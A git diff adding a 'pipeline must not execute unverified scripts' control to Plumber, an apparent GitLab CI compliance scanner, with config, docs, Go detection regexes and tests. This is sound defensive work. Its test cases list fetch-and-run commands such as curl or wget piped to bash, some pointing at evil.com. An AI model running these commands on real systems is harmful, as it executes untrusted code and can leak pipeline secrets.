diff --git a/.plumber.yaml b/.plumber.yaml
index 2018c2e..e73c117 100644
--- a/.plumber.yaml
+++ b/.plumber.yaml
@@ -392,4 +392,27 @@ controls:
# semgrep-sast:
# when: manual
whenMustNotBeManual:
- enabled: true
\ No newline at end of file
+ enabled: true
+
+ # ── Pipeline must not execute unverified scripts ─────────────────
+ #
+ # Detects jobs that download and immediately execute scripts from the
+ # internet without integrity verification (e.g., curl | bash, wget | sh).
+ #
+ # This is a well-documented supply chain attack vector: an attacker who
+ # compromises the remote URL can serve a modified script that exfiltrates
+ # CI/CD secrets ($CI_JOB_TOKEN, deploy keys, custom variables).
+ #
+ # Maps to OWASP CICD-SEC-3 (Dependency Chain Abuse) and CICD-SEC-8
+ # (Ungoverned Usage of 3rd Party Services).
+ #
+ # Best practice: download scripts to a file, verify a checksum against a
+ # known-good value, then execute. Or vendor the script into your repo.
+ pipelineMustNotExecuteUnverifiedScripts:
+ # Set to false to disable this control
+ enabled: true
+
+ # URLs that are trusted and should not trigger findings.
+ # Supports wildcards (e.g., https://internal-artifacts.example.com/*).
+ trustedUrls: []
+ # - https://internal-artifacts.example.com/*
\ No newline at end of file
diff --git a/README.md b/README.md
index 335f373..c9fb529 100644
--- a/README.md
+++ b/README.md
@@ -286,7 +286,7 @@ This creates `.plumber.yaml` with sensible [defaults](./.plumber.yaml). Customiz
### Available Controls
-Plumber includes 11 compliance controls. Each can be enabled/disabled and customized in [.plumber.yaml](.plumber.yaml):
+Plumber includes 12 compliance controls. Each can be enabled/disabled and customized in [.plumber.yaml](.plumber.yaml):
1. Container images must not use forbidden tags
@@ -596,6 +596,31 @@ securityJobsMustNotBeWeakened:
+
+12. Pipeline must not execute unverified scripts
+
+Detects CI/CD jobs that download and immediately execute scripts from the internet without integrity verification. Patterns like `curl | bash` or `wget | sh` are a well-documented supply chain attack vector: an attacker who compromises the remote URL can serve a modified script that exfiltrates secrets.
+
+**Detected patterns:**
+- Direct pipe to shell: `curl ... | bash`, `wget ... | sh`, `curl ... | python`, etc.
+- Download-and-execute: `curl -o script.sh ... && bash script.sh`
+- Download-redirect-execute: `curl ... > install.sh; sh install.sh`
+
+Lines that include checksum verification (e.g., `sha256sum`, `gpg --verify`) between the download and execution are automatically excluded.
+
+**Configuration:**
+
+```yaml
+pipelineMustNotExecuteUnverifiedScripts:
+ enabled: true
+ trustedUrls: []
+ # - https://internal-artifacts.example.com/*
+```
+
+Add trusted URL patterns to `trustedUrls` (supports wildcards) to suppress findings for known-good sources.
+
+
+
### Selective Control Execution
You can run or skip specific controls using their YAML key names from `.plumber.yaml`. This is useful for iterative debugging or targeted CI checks.
@@ -638,6 +663,7 @@ Controls not selected are reported as **skipped** in the output. The `--controls
| `pipelineMustIncludeComponent` |
| `pipelineMustIncludeTemplate` |
| `pipelineMustNotEnableDebugTrace` |
+| `pipelineMustNotExecuteUnverifiedScripts` |
| `pipelineMustNotIncludeHardcodedJobs` |
| `pipelineMustNotUseUnsafeVariableExpansion` |
| `securityJobsMustNotBeWeakened` |
@@ -778,10 +804,10 @@ brew install plumber
To install a specific version:
```bash
-brew install getplumber/plumber/plumber@0.1.67
+brew install getplumber/plumber/plumber@0.1.69
```
-> **Note:** Versioned formulas are keg-only. Use the full path for example `/usr/local/opt/plumber@0.1.67/bin/plumber` or run `brew link plumber@0.1.67` to add it to your PATH.
+> **Note:** Versioned formulas are keg-only. Use the full path for example `/usr/local/opt/plumber@0.1.69/bin/plumber` or run `brew link plumber@0.1.69` to add it to your PATH.
### Mise
diff --git a/cmd/analyze.go b/cmd/analyze.go
index 2cbe976..0c9d029 100644
--- a/cmd/analyze.go
+++ b/cmd/analyze.go
@@ -309,6 +309,11 @@ func runAnalyze(cmd *cobra.Command, args []string) error {
controlCount++
}
+ if result.UnverifiedScriptsResult != nil && !result.UnverifiedScriptsResult.Skipped {
+ complianceSum += result.UnverifiedScriptsResult.Compliance
+ controlCount++
+ }
+
// Calculate average compliance
// If no controls ran (e.g., data collection failed), compliance is 0% - we can't verify anything
var compliance float64 = 0
@@ -1075,6 +1080,41 @@ func outputText(result *control.AnalysisResult, threshold, compliance float64, c
fmt.Println()
}
+ // Control 12: Pipeline must not execute unverified scripts
+ if result.UnverifiedScriptsResult != nil {
+ ctrl := controlSummary{
+ name: "Pipeline must not execute unverified scripts",
+ compliance: result.UnverifiedScriptsResult.Compliance,
+ issues: len(result.UnverifiedScriptsResult.Issues),
+ skipped: result.UnverifiedScriptsResult.Skipped,
+ codes: []string{string(control.CodeUnverifiedScriptExecution)},
+ }
+ controls = append(controls, ctrl)
+
+ printControlHeader("Pipeline must not execute unverified scripts", result.UnverifiedScriptsResult.Compliance, result.UnverifiedScriptsResult.Skipped)
+
+ if result.UnverifiedScriptsResult.Skipped {
+ fmt.Printf(" %sStatus: SKIPPED (disabled in configuration)%s\n", colorDim, colorReset)
+ } else {
+ fmt.Printf(" Jobs Checked: %d\n", result.UnverifiedScriptsResult.Metrics.JobsChecked)
+ fmt.Printf(" Script Lines Checked: %d\n", result.UnverifiedScriptsResult.Metrics.TotalScriptLinesChecked)
+ fmt.Printf(" Unverified Scripts: %d\n", result.UnverifiedScriptsResult.Metrics.UnverifiedScriptsFound)
+
+ if len(result.UnverifiedScriptsResult.Issues) > 0 {
+ fmt.Printf("\n %sUnverified Script Executions Found:%s\n", colorYellow, colorReset)
+ for _, issue := range result.UnverifiedScriptsResult.Issues {
+ if issue.JobName == "(global)" {
+ fmt.Printf(" %s•%s [%s] Global %s: %s\n", colorYellow, colorReset, issue.Code, issue.ScriptBlock, issue.ScriptLine)
+ } else {
+ fmt.Printf(" %s•%s [%s] Job '%s' %s: %s\n", colorYellow, colorReset, issue.Code, issue.JobName, issue.ScriptBlock, issue.ScriptLine)
+ }
+ fmt.Printf(" %s↳ docs: %s%s\n", colorDim, issue.DocURL, colorReset)
+ }
+ }
+ }
+ fmt.Println()
+ }
+
// Summary Section
printSectionHeader("Summary")
fmt.Println()
diff --git a/configuration/plumberconfig.go b/configuration/plumberconfig.go
index c4343e0..44754e6 100644
--- a/configuration/plumberconfig.go
+++ b/configuration/plumberconfig.go
@@ -48,6 +48,9 @@ var validControlSchema = map[string][]string{
"enabled", "securityJobPatterns",
"allowFailureMustBeFalse", "rulesMustNotBeRedefined", "whenMustNotBeManual",
},
+ "pipelineMustNotExecuteUnverifiedScripts": {
+ "enabled", "trustedUrls",
+ },
}
// validControlKeys returns the list of known control names.
@@ -122,6 +125,9 @@ type ControlsConfig struct {
// SecurityJobsMustNotBeWeakened control configuration
SecurityJobsMustNotBeWeakened *SecurityJobsWeakenedControlConfig `yaml:"securityJobsMustNotBeWeakened,omitempty"`
+
+ // PipelineMustNotExecuteUnverifiedScripts control configuration
+ PipelineMustNotExecuteUnverifiedScripts *UnverifiedScriptsControlConfig `yaml:"pipelineMustNotExecuteUnverifiedScripts,omitempty"`
}
// ImageForbiddenTagsControlConfig configuration for the forbidden image tags control
@@ -304,6 +310,16 @@ func (t *SecurityJobsSubControlToggle) IsEnabled(defaultVal bool) bool {
return *t.Enabled
}
+// UnverifiedScriptsControlConfig configuration for the unverified script execution control
+type UnverifiedScriptsControlConfig struct {
+ // Enabled controls whether this check runs
+ Enabled *bool `yaml:"enabled,omitempty"`
+
+ // TrustedUrls is a list of URL patterns that should not trigger findings.
+ // Supports wildcards (e.g., "https://internal-artifacts.example.com/*").
+ TrustedUrls []string `yaml:"trustedUrls,omitempty"`
+}
+
// RequiredTemplatesControlConfig configuration for the required templates control
type RequiredTemplatesControlConfig struct {
// Enabled controls whether this check runs
@@ -604,6 +620,24 @@ func (c *SecurityJobsWeakenedControlConfig) IsEnabled() bool {
return *c.Enabled
}
+// GetPipelineMustNotExecuteUnverifiedScriptsConfig returns the control configuration
+// Returns nil if not configured
+func (c *PlumberConfig) GetPipelineMustNotExecuteUnverifiedScriptsConfig() *UnverifiedScriptsControlConfig {
+ if c == nil {
+ return nil
+ }
+ return c.Controls.PipelineMustNotExecuteUnverifiedScripts
+}
+
+// IsEnabled returns whether the control is enabled
+// Returns false if not properly configured
+func (c *UnverifiedScriptsControlConfig) IsEnabled() bool {
+ if c == nil || c.Enabled == nil {
+ return false
+ }
+ return *c.Enabled
+}
+
// IsEnabled returns whether the control is enabled
// Returns false if not properly configured
func (c *RequiredTemplatesControlConfig) IsEnabled() bool {
diff --git a/configuration/plumberconfig_test.go b/configuration/plumberconfig_test.go
index eac84f7..06fd6a8 100644
--- a/configuration/plumberconfig_test.go
+++ b/configuration/plumberconfig_test.go
@@ -326,6 +326,7 @@ func TestValidControlNames(t *testing.T) {
"pipelineMustIncludeComponent",
"pipelineMustIncludeTemplate",
"pipelineMustNotEnableDebugTrace",
+ "pipelineMustNotExecuteUnverifiedScripts",
"pipelineMustNotIncludeHardcodedJobs",
"pipelineMustNotUseUnsafeVariableExpansion",
"securityJobsMustNotBeWeakened",
diff --git a/control/codes.go b/control/codes.go
index 921ddd5..a3df417 100644
--- a/control/codes.go
+++ b/control/codes.go
@@ -43,6 +43,8 @@ const (
CodeComponentOverridden ErrorCode = "ISSUE-409"
// ISSUE-410: Security job is weakened (allow_failure, rules override, when: manual)
CodeSecurityJobWeakened ErrorCode = "ISSUE-410"
+ // ISSUE-411: Pipeline downloads and executes a script without integrity verification (curl|bash, wget|sh)
+ CodeUnverifiedScriptExecution ErrorCode = "ISSUE-411"
)
// Issue codes for access and authorization controls (5xx)
@@ -180,6 +182,14 @@ var errorCodeRegistry = map[ErrorCode]ErrorCodeInfo{
DocURL: docsBaseURL + string(CodeSecurityJobWeakened),
ControlName: "securityJobsMustNotBeWeakened",
},
+ CodeUnverifiedScriptExecution: {
+ Code: CodeUnverifiedScriptExecution,
+ Title: "Unverified script execution",
+ Description: "A CI/CD job downloads and immediately executes a script from the internet (e.g., curl | bash, wget | sh) without verifying its integrity. An attacker who compromises the remote URL can serve a modified script that exfiltrates secrets.",
+ Remediation: "Download the script to a file first, verify its checksum against a known-good value, then execute it. Alternatively, vendor the script into your repository or use a trusted package manager.",
+ DocURL: docsBaseURL + string(CodeUnverifiedScriptExecution),
+ ControlName: "pipelineMustNotExecuteUnverifiedScripts",
+ },
// Access and authorization controls (5xx)
CodeBranchUnprotected: {
diff --git a/control/controlGitlabPipelineUnverifiedScripts.go b/control/controlGitlabPipelineUnverifiedScripts.go
new file mode 100644
index 0000000..993269c
--- /dev/null
+++ b/control/controlGitlabPipelineUnverifiedScripts.go
@@ -0,0 +1,284 @@
+package control
+
+import (
+ "fmt"
+ "regexp"
+ "strings"
+
+ "github.com/getplumber/plumber/collector"
+ "github.com/getplumber/plumber/configuration"
+ "github.com/getplumber/plumber/gitlab"
+ "github.com/sirupsen/logrus"
+)
+
+const ControlTypeGitlabPipelineUnverifiedScriptsVersion = "0.1.0"
+
+//////////////////
+// Control conf //
+//////////////////
+
+// GitlabPipelineUnverifiedScriptsConf holds the configuration for unverified script execution detection
+type GitlabPipelineUnverifiedScriptsConf struct {
+ Enabled bool `json:"enabled"`
+ TrustedUrls []string `json:"trustedUrls"`
+}
+
+// GetConf loads configuration from PlumberConfig
+func (p *GitlabPipelineUnverifiedScriptsConf) GetConf(plumberConfig *configuration.PlumberConfig) error {
+ if plumberConfig == nil {
+ p.Enabled = false
+ return nil
+ }
+
+ cfg := plumberConfig.GetPipelineMustNotExecuteUnverifiedScriptsConfig()
+ if cfg == nil {
+ l.Debug("pipelineMustNotExecuteUnverifiedScripts control configuration is missing from .plumber.yaml file, skipping")
+ p.Enabled = false
+ return nil
+ }
+
+ if cfg.Enabled == nil {
+ return fmt.Errorf("pipelineMustNotExecuteUnverifiedScripts.enabled field is required in .plumber.yaml config file")
+ }
+
+ p.Enabled = cfg.IsEnabled()
+ p.TrustedUrls = cfg.TrustedUrls
+
+ l.WithFields(logrus.Fields{
+ "enabled": p.Enabled,
+ "trustedUrls": len(p.TrustedUrls),
+ }).Debug("pipelineMustNotExecuteUnverifiedScripts control configuration loaded from .plumber.yaml file")
+
+ return nil
+}
+
+////////////////////////////
+// Control data & metrics //
+////////////////////////////
+
+// GitlabPipelineUnverifiedScriptsMetrics holds metrics about unverified script detection
+type GitlabPipelineUnverifiedScriptsMetrics struct {
+ JobsChecked uint `json:"jobsChecked"`
+ TotalScriptLinesChecked uint `json:"totalScriptLinesChecked"`
+ UnverifiedScriptsFound uint `json:"unverifiedScriptsFound"`
+}
+
+// GitlabPipelineUnverifiedScriptsResult holds the result of the control
+type GitlabPipelineUnverifiedScriptsResult struct {
+ Issues []GitlabPipelineUnverifiedScriptsIssue `json:"issues"`
+ Metrics GitlabPipelineUnverifiedScriptsMetrics `json:"metrics"`
+ Compliance float64 `json:"compliance"`
+ Version string `json:"version"`
+ CiValid bool `json:"ciValid"`
+ CiMissing bool `json:"ciMissing"`
+ Skipped bool `json:"skipped"`
+ Error string `json:"error,omitempty"`
+}
+
+////////////////////
+// Control issues //
+////////////////////
+
+// GitlabPipelineUnverifiedScriptsIssue represents an unverified script execution found in a CI job
+type GitlabPipelineUnverifiedScriptsIssue struct {
+ Code ErrorCode `json:"code"`
+ DocURL string `json:"docUrl"`
+ JobName string `json:"jobName"`
+ ScriptLine string `json:"scriptLine"`
+ ScriptBlock string `json:"scriptBlock"`
+ PatternType string `json:"patternType"`
+}
+
+///////////////////////
+// Control functions //
+///////////////////////
+
+// Compiled regexes for detecting unverified script execution patterns.
+
+// pipeToShell: curl ... | bash, wget ... | sh, etc. (with optional sudo)
+var pipeToShellRe = regexp.MustCompile(
+ `(?i)(curl|wget)\s+[^|]*\|\s*(sudo\s+)?(bash|sh|zsh|python[23]?|perl|ruby)\b`,
+)
+
+// downloadAndExec: curl -o file && bash file, wget -O file && sh file
+var downloadAndExecRe = regexp.MustCompile(
+ `(?i)(curl|wget)\s+.*(-o|-O)\s+(\S+).*&&\s*(sudo\s+)?(bash|sh|source|\.)\s+`,
+)
+
+// downloadRedirectExec: curl ... > file.sh; sh file.sh
+var downloadRedirectExecRe = regexp.MustCompile(
+ `(?i)(curl|wget)\s+.*>\s*(\S+\.sh)\s*[;&]+\s*(sudo\s+)?(bash|sh|source|\.)\s+`,
+)
+
+// checksumVerificationRe matches lines that include a checksum or signature
+// verification step between the download and execution. These lines show that
+// the user is verifying integrity before running the script.
+var checksumVerificationRe = regexp.MustCompile(
+ `(?i)(sha256sum|sha512sum|sha1sum|md5sum|shasum|gpg\s+--verify|gpg2\s+--verify|cosign\s+verify)`,
+)
+
+var unverifiedScriptPatterns = []struct {
+ re *regexp.Regexp
+ patternType string
+}{
+ {pipeToShellRe, "pipe-to-shell"},
+ {downloadAndExecRe, "download-and-execute"},
+ {downloadRedirectExecRe, "download-redirect-execute"},
+}
+
+// Run executes the unverified script execution detection control
+func (p *GitlabPipelineUnverifiedScriptsConf) Run(pipelineOriginData *collector.GitlabPipelineOriginData) *GitlabPipelineUnverifiedScriptsResult {
+ l := l.WithFields(logrus.Fields{
+ "control": "GitlabPipelineUnverifiedScripts",
+ "controlVersion": ControlTypeGitlabPipelineUnverifiedScriptsVersion,
+ })
+ l.Info("Start unverified script execution detection control")
+
+ result := &GitlabPipelineUnverifiedScriptsResult{
+ Issues: []GitlabPipelineUnverifiedScriptsIssue{},
+ Metrics: GitlabPipelineUnverifiedScriptsMetrics{},
+ Compliance: 100.0,
+ Version: ControlTypeGitlabPipelineUnverifiedScriptsVersion,
+ CiValid: pipelineOriginData.CiValid,
+ CiMissing: pipelineOriginData.CiMissing,
+ Skipped: false,
+ }
+
+ if !p.Enabled {
+ l.Info("Unverified script execution detection control is disabled, skipping")
+ result.Skipped = true
+ return result
+ }
+
+ mergedConf := pipelineOriginData.MergedConf
+ if mergedConf == nil {
+ l.Warn("Merged CI configuration not available, cannot check scripts")
+ result.Compliance = 0
+ result.Error = "merged CI configuration not available"
+ return result
+ }
+
+ // Compile trusted URL patterns into regexes for matching
+ trustedPatterns := compileTrustedURLPatterns(p.TrustedUrls)
+
+ // Check global before_script and after_script
+ p.scanForUnverifiedScripts(mergedConf.BeforeScript, "(global)", "before_script", trustedPatterns, result)
+ p.scanForUnverifiedScripts(mergedConf.AfterScript, "(global)", "after_script", trustedPatterns, result)
+
+ // Check per-job scripts
+ for jobName, jobContent := range mergedConf.GitlabJobs {
+ job, err := gitlab.ParseGitlabCIJob(jobContent)
+ if err != nil {
+ l.WithError(err).WithField("job", jobName).Debug("Unable to parse job, skipping")
+ continue
+ }
+ if job == nil {
+ continue
+ }
+
+ result.Metrics.JobsChecked++
+
+ p.scanForUnverifiedScripts(job.Script, jobName, "script", trustedPatterns, result)
+ p.scanForUnverifiedScripts(job.BeforeScript, jobName, "before_script", trustedPatterns, result)
+ p.scanForUnverifiedScripts(job.AfterScript, jobName, "after_script", trustedPatterns, result)
+ }
+
+ if len(result.Issues) > 0 {
+ result.Compliance = 0.0
+ }
+
+ l.WithFields(logrus.Fields{
+ "compliance": result.Compliance,
+ "issuesFound": len(result.Issues),
+ "jobsChecked": result.Metrics.JobsChecked,
+ "totalScriptLines": result.Metrics.TotalScriptLinesChecked,
+ "unverifiedScriptsFound": result.Metrics.UnverifiedScriptsFound,
+ }).Info("Unverified script execution detection control complete")
+
+ return result
+}
+
+// scanForUnverifiedScripts checks a script block for unverified script execution patterns.
+func (p *GitlabPipelineUnverifiedScriptsConf) scanForUnverifiedScripts(
+ scriptField interface{},
+ jobName string,
+ blockType string,
+ trustedPatterns []*regexp.Regexp,
+ result *GitlabPipelineUnverifiedScriptsResult,
+) {
+ lines := gitlab.GetScriptLines(scriptField)
+ for _, line := range lines {
+ result.Metrics.TotalScriptLinesChecked++
+
+ trimmed := strings.TrimSpace(line)
+ if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+ continue
+ }
+
+ for _, pattern := range unverifiedScriptPatterns {
+ if pattern.re.MatchString(trimmed) {
+ if containsTrustedURL(trimmed, trustedPatterns) {
+ continue
+ }
+ if checksumVerificationRe.MatchString(trimmed) {
+ continue
+ }
+
+ result.Issues = append(result.Issues, GitlabPipelineUnverifiedScriptsIssue{
+ Code: CodeUnverifiedScriptExecution,
+ DocURL: CodeUnverifiedScriptExecution.DocURL(),
+ JobName: jobName,
+ ScriptLine: truncateScriptLine(trimmed, 200),
+ ScriptBlock: blockType,
+ PatternType: pattern.patternType,
+ })
+ result.Metrics.UnverifiedScriptsFound++
+ break
+ }
+ }
+ }
+}
+
+// compileTrustedURLPatterns converts trusted URL patterns into compiled regexes.
+// Each pattern is matched exactly unless it contains a wildcard (*), which
+// matches any sequence of characters. Patterns are anchored so that
+// "https://example.com" only matches that exact URL, not subpaths. Use
+// "https://example.com/*" to match all subpaths.
+func compileTrustedURLPatterns(trustedUrls []string) []*regexp.Regexp {
+ var patterns []*regexp.Regexp
+ for _, u := range trustedUrls {
+ u = strings.TrimSpace(u)
+ if u == "" {
+ continue
+ }
+ escaped := regexp.QuoteMeta(u)
+ // Convert \* (escaped wildcard) back to .* for glob-style matching
+ regexStr := `(?:^|[\s"'])` + strings.ReplaceAll(escaped, `\*`, `.*`) + `(?:$|[\s"'])`
+ re, err := regexp.Compile(regexStr)
+ if err != nil {
+ l.WithError(err).WithField("pattern", u).Warn("Invalid trusted URL pattern, skipping")
+ continue
+ }
+ patterns = append(patterns, re)
+ }
+ return patterns
+}
+
+// containsTrustedURL checks whether the script line contains a URL that matches
+// any of the compiled trusted URL patterns.
+func containsTrustedURL(line string, trustedPatterns []*regexp.Regexp) bool {
+ for _, re := range trustedPatterns {
+ if re.MatchString(line) {
+ return true
+ }
+ }
+ return false
+}
+
+// truncateScriptLine truncates a script line to the given max length.
+func truncateScriptLine(s string, maxLen int) string {
+ if len(s) <= maxLen {
+ return s
+ }
+ return s[:maxLen-3] + "..."
+}
diff --git a/control/controlGitlabPipelineUnverifiedScripts_test.go b/control/controlGitlabPipelineUnverifiedScripts_test.go
new file mode 100644
index 0000000..e964436
--- /dev/null
+++ b/control/controlGitlabPipelineUnverifiedScripts_test.go
@@ -0,0 +1,378 @@
+package control
+
+import (
+ "testing"
+
+ "github.com/getplumber/plumber/collector"
+ "github.com/getplumber/plumber/gitlab"
+)
+
+func buildOriginDataWithScriptJobs(jobs map[string]interface{}) *collector.GitlabPipelineOriginData {
+ mergedConf := &gitlab.GitlabCIConf{
+ GitlabJobs: jobs,
+ }
+ return &collector.GitlabPipelineOriginData{
+ MergedConf: mergedConf,
+ CiValid: true,
+ CiMissing: false,
+ }
+}
+
+func TestUnverifiedScripts_Disabled(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: false}
+ data := buildOriginDataWithScriptJobs(nil)
+
+ result := conf.Run(data)
+
+ if !result.Skipped {
+ t.Fatal("expected control to be skipped when disabled")
+ }
+ if result.Compliance != 100.0 {
+ t.Fatalf("expected compliance 100 when skipped, got %v", result.Compliance)
+ }
+}
+
+func TestUnverifiedScripts_NilMergedConf(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+ data := &collector.GitlabPipelineOriginData{
+ MergedConf: nil,
+ CiValid: true,
+ CiMissing: false,
+ }
+
+ result := conf.Run(data)
+
+ if result.Compliance != 0 {
+ t.Fatalf("expected compliance 0 when merged conf unavailable, got %v", result.Compliance)
+ }
+ if result.Error == "" {
+ t.Fatal("expected error message when merged conf unavailable")
+ }
+}
+
+func TestUnverifiedScripts_NoJobs(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{})
+
+ result := conf.Run(data)
+
+ if result.Compliance != 100.0 {
+ t.Fatalf("expected compliance 100 with no jobs, got %v", result.Compliance)
+ }
+ if len(result.Issues) != 0 {
+ t.Fatalf("expected 0 issues, got %d", len(result.Issues))
+ }
+}
+
+// -- Direct pipe-to-shell patterns --
+
+func TestUnverifiedScripts_CurlPipeBash(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ tests := []struct {
+ name string
+ script string
+ }{
+ {"curl pipe bash", "curl -fsSL https://example.com/install.sh | bash"},
+ {"curl pipe sh", "curl -sSL https://evil.com/script.sh | sh"},
+ {"wget pipe bash", "wget -qO- https://example.com/install.sh | bash"},
+ {"wget pipe sh", "wget -O - https://example.com/setup.sh | sh"},
+ {"curl pipe sudo bash", "curl -fsSL https://get.docker.com | sudo bash"},
+ {"curl pipe sudo sh", "curl https://example.com/install.sh | sudo sh"},
+ {"curl pipe python", "curl https://example.com/script.py | python"},
+ {"curl pipe python3", "curl https://example.com/script.py | python3"},
+ {"wget pipe perl", "wget -O- https://example.com/setup.pl | perl"},
+ {"curl pipe ruby", "curl -fsSL https://example.com/setup.rb | ruby"},
+ {"curl pipe zsh", "curl -fsSL https://example.com/install.sh | zsh"},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{tt.script},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"install": jobContent})
+ result := conf.Run(data)
+ if len(result.Issues) != 1 {
+ t.Fatalf("script %q should be flagged, expected 1 issue, got %d", tt.script, len(result.Issues))
+ }
+ if result.Issues[0].PatternType != "pipe-to-shell" {
+ t.Fatalf("expected pattern type 'pipe-to-shell', got %q", result.Issues[0].PatternType)
+ }
+ if result.Compliance != 0.0 {
+ t.Fatalf("expected compliance 0, got %v", result.Compliance)
+ }
+ })
+ }
+}
+
+// -- Download-and-execute patterns --
+
+func TestUnverifiedScripts_DownloadAndExecute(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ tests := []struct {
+ name string
+ script string
+ }{
+ {"curl -o then bash", "curl -o install.sh https://example.com/install.sh && bash install.sh"},
+ {"wget -O then sh", "wget -O setup.sh https://example.com/setup.sh && sh setup.sh"},
+ {"curl -o then source", "curl -o config.sh https://example.com/config.sh && source config.sh"},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{tt.script},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"setup": jobContent})
+ result := conf.Run(data)
+ if len(result.Issues) != 1 {
+ t.Fatalf("script %q should be flagged, expected 1 issue, got %d", tt.script, len(result.Issues))
+ }
+ if result.Issues[0].PatternType != "download-and-execute" {
+ t.Fatalf("expected pattern type 'download-and-execute', got %q", result.Issues[0].PatternType)
+ }
+ })
+ }
+}
+
+// -- Download-redirect-execute patterns --
+
+func TestUnverifiedScripts_DownloadRedirectExecute(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ tests := []struct {
+ name string
+ script string
+ }{
+ {"curl redirect then sh", "curl https://example.com/install > install.sh; sh install.sh"},
+ {"wget redirect then bash", "wget https://example.com/setup > setup.sh; bash setup.sh"},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{tt.script},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"setup": jobContent})
+ result := conf.Run(data)
+ if len(result.Issues) != 1 {
+ t.Fatalf("script %q should be flagged, expected 1 issue, got %d", tt.script, len(result.Issues))
+ }
+ if result.Issues[0].PatternType != "download-redirect-execute" {
+ t.Fatalf("expected pattern type 'download-redirect-execute', got %q", result.Issues[0].PatternType)
+ }
+ })
+ }
+}
+
+// -- Safe patterns that should NOT be flagged --
+
+func TestUnverifiedScripts_SafePatterns(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ tests := []struct {
+ name string
+ script string
+ }{
+ {"curl to file only", "curl -o installer.sh https://example.com/install.sh"},
+ {"wget to file only", "wget https://example.com/setup.sh"},
+ {"curl with checksum", "curl -o script.sh https://example.com/script.sh && sha256sum -c script.sh.sha256 && bash script.sh"},
+ {"echo with pipe", "echo 'hello world' | bash -c 'cat'"},
+ {"cat pipe bash", "cat local_script.sh | bash"},
+ {"normal curl POST", "curl -X POST -d '{\"key\": \"value\"}' https://api.example.com"},
+ {"apt-get install", "apt-get install -y curl wget"},
+ {"pip install", "pip install requests"},
+ {"comment line", "# curl https://example.com/install.sh | bash"},
+ {"empty line", ""},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{tt.script},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"build": jobContent})
+ result := conf.Run(data)
+ if len(result.Issues) != 0 {
+ t.Fatalf("script %q should be safe, but got %d issues", tt.script, len(result.Issues))
+ }
+ if result.Compliance != 100.0 {
+ t.Fatalf("expected compliance 100, got %v", result.Compliance)
+ }
+ })
+ }
+}
+
+// -- Trusted URLs --
+
+func TestUnverifiedScripts_TrustedUrls(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{
+ Enabled: true,
+ TrustedUrls: []string{"https://internal.example.com/*", "https://trusted.io/install.sh"},
+ }
+
+ tests := []struct {
+ name string
+ script string
+ expectHit bool
+ }{
+ {"trusted wildcard", "curl -fsSL https://internal.example.com/tools/setup.sh | bash", false},
+ {"trusted exact", "curl -fsSL https://trusted.io/install.sh | bash", false},
+ {"untrusted", "curl -fsSL https://evil.com/hack.sh | bash", true},
+ {"exact does not match subpath", "curl -fsSL https://trusted.io/install.sh/evil | bash", true},
+ {"without wildcard does not match subpath", "curl -fsSL https://trusted.io/install.sh/extra | bash", true},
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ jobContent := map[interface{}]interface{}{
+ "script": []interface{}{tt.script},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"setup": jobContent})
+ result := conf.Run(data)
+ if tt.expectHit && len(result.Issues) == 0 {
+ t.Fatalf("script %q should be flagged but was not", tt.script)
+ }
+ if !tt.expectHit && len(result.Issues) > 0 {
+ t.Fatalf("script %q should be trusted but got %d issues", tt.script, len(result.Issues))
+ }
+ })
+ }
+}
+
+// -- Global scripts --
+
+func TestUnverifiedScripts_GlobalScripts(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ mergedConf := &gitlab.GitlabCIConf{
+ BeforeScript: []interface{}{"curl https://example.com/setup.sh | bash"},
+ AfterScript: []interface{}{"wget -qO- https://example.com/cleanup.sh | sh"},
+ GitlabJobs: map[string]interface{}{},
+ }
+ data := &collector.GitlabPipelineOriginData{
+ MergedConf: mergedConf,
+ CiValid: true,
+ CiMissing: false,
+ }
+
+ result := conf.Run(data)
+
+ if len(result.Issues) != 2 {
+ t.Fatalf("expected 2 issues from global scripts, got %d", len(result.Issues))
+ }
+ for _, issue := range result.Issues {
+ if issue.JobName != "(global)" {
+ t.Fatalf("expected job name '(global)', got %q", issue.JobName)
+ }
+ }
+}
+
+// -- before_script and after_script in jobs --
+
+func TestUnverifiedScripts_JobScriptBlocks(t *testing.T) {
+ conf := &GitlabPipelineUnverifiedScriptsConf{Enabled: true}
+
+ jobContent := map[interface{}]interface{}{
+ "before_script": []interface{}{"curl https://example.com/pre.sh | bash"},
+ "script": []interface{}{"echo 'safe'"},
+ "after_script": []interface{}{"wget -qO- https://example.com/post.sh | sh"},
+ }
+ data := buildOriginDataWithScriptJobs(map[string]interface{}{"deploy": jobContent})
+
+ result := conf.Run(data)
+
+ if len(result.Issues) != 2 {
+ t.Fatalf("expected 2 issues, got %d", len(result.Issues))
+ }
+
+ blocks := map[string]bool{}
+ for _, issue := range result.Issues {
+ blocks[issue.ScriptBlock] = true
+ if issue.JobName != "deploy" {
+ t.Fatalf("expected job name 'deploy', got %q", issue.JobName)
